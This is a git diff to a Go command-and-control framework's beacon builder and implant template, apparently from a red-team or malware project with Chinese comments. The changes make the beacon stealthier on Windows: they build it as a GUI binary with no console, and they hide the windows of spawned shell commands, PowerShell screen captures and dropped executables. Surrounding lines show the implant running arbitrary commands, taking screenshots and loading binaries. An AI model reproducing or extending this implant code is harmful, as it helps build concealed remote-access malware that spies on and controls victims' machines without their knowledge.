diff --git a/internal/c2/payload_builder.go b/internal/c2/payload_builder.go index 933a97d6..871ca683 100644 --- a/internal/c2/payload_builder.go +++ b/internal/c2/payload_builder.go @@ -160,6 +160,18 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro } f.Close() + // 平台相关辅助源文件(如无窗口子进程) + for _, name := range []string{"proc_hide_windows.go", "proc_hide_unix.go"} { + helperSrc := filepath.Join(b.tmplDir, name+".tmpl") + helperData, readErr := os.ReadFile(helperSrc) + if readErr != nil { + return nil, fmt.Errorf("read helper %s: %w", name, readErr) + } + if writeErr := os.WriteFile(filepath.Join(workDir, name), helperData, 0644); writeErr != nil { + return nil, fmt.Errorf("write helper %s: %w", name, writeErr) + } + } + // 交叉编译 binName := strings.TrimSpace(in.OutputName) if binName == "" { @@ -174,15 +186,16 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro return nil, fmt.Errorf("mkdir output: %w", err) } - absSrcPath, err := filepath.Abs(srcPath) - if err != nil { - return nil, fmt.Errorf("abs source path: %w", err) - } absBinPath, err := filepath.Abs(binPath) if err != nil { return nil, fmt.Errorf("abs output path: %w", err) } - cmd := exec.Command("go", "build", "-ldflags", "-s -w -buildid=", "-trimpath", "-o", absBinPath, absSrcPath) + ldflags := "-s -w -buildid=" + if goos == "windows" { + // 无控制台窗口运行 beacon 本体 + ldflags += " -H windowsgui" + } + cmd := exec.Command("go", "build", "-ldflags", ldflags, "-trimpath", "-o", absBinPath, ".") cmd.Env = append(os.Environ(), "GOOS="+goos, "GOARCH="+goarch, diff --git a/internal/c2/payload_templates/beacon.go.tmpl b/internal/c2/payload_templates/beacon.go.tmpl index 3f36c901..c927bba5 100644 --- a/internal/c2/payload_templates/beacon.go.tmpl +++ b/internal/c2/payload_templates/beacon.go.tmpl @@ -729,6 +729,7 @@ func runWithTimeout(cmdStr string, timeoutSec int) (string, error) { timeoutSec = 60 } cmd := exec.Command(shellByOS(), shellFlag(), cmdStr) + prepareHiddenCmd(cmd) cwdMu.Lock() cmd.Dir = currentCwd cwdMu.Unlock() @@ -959,7 +960,7 @@ func taskScreenshot() (string, string, string, string) { b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30) case "windows": ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())` - b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -Command \"%s\"", ps), 30) + b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command \"%s\"", ps), 30) default: return "", "", "", "screenshot not supported on " + runtime.GOOS } @@ -1200,6 +1201,7 @@ func taskLoadAssembly(payload map[string]interface{}) (string, string, string, s cmdArgs = strings.Fields(args) } cmd := exec.Command(tmpFile, cmdArgs...) + prepareHiddenCmd(cmd) cwdMu.Lock() cmd.Dir = currentCwd cwdMu.Unlock() diff --git a/internal/c2/payload_templates/proc_hide_unix.go.tmpl b/internal/c2/payload_templates/proc_hide_unix.go.tmpl new file mode 100644 index 00000000..d3803638 --- /dev/null +++ b/internal/c2/payload_templates/proc_hide_unix.go.tmpl @@ -0,0 +1,9 @@ +//go:build !windows + +package main + +import "os/exec" + +func prepareHiddenCmd(cmd *exec.Cmd) { + _ = cmd +} diff --git a/internal/c2/payload_templates/proc_hide_windows.go.tmpl b/internal/c2/payload_templates/proc_hide_windows.go.tmpl new file mode 100644 index 00000000..f26f60cd --- /dev/null +++ b/internal/c2/payload_templates/proc_hide_windows.go.tmpl @@ -0,0 +1,19 @@ +//go:build windows + +package main + +import ( + "os/exec" + "syscall" +) + +// prepareHiddenCmd 避免子进程弹出控制台窗口(cmd / powershell / 临时 exe 等)。 +func prepareHiddenCmd(cmd *exec.Cmd) { + if cmd == nil { + return + } + cmd.SysProcAttr = &syscall.SysProcAttr{ + HideWindow: true, + CreationFlags: syscall.CREATE_NO_WINDOW, + } +}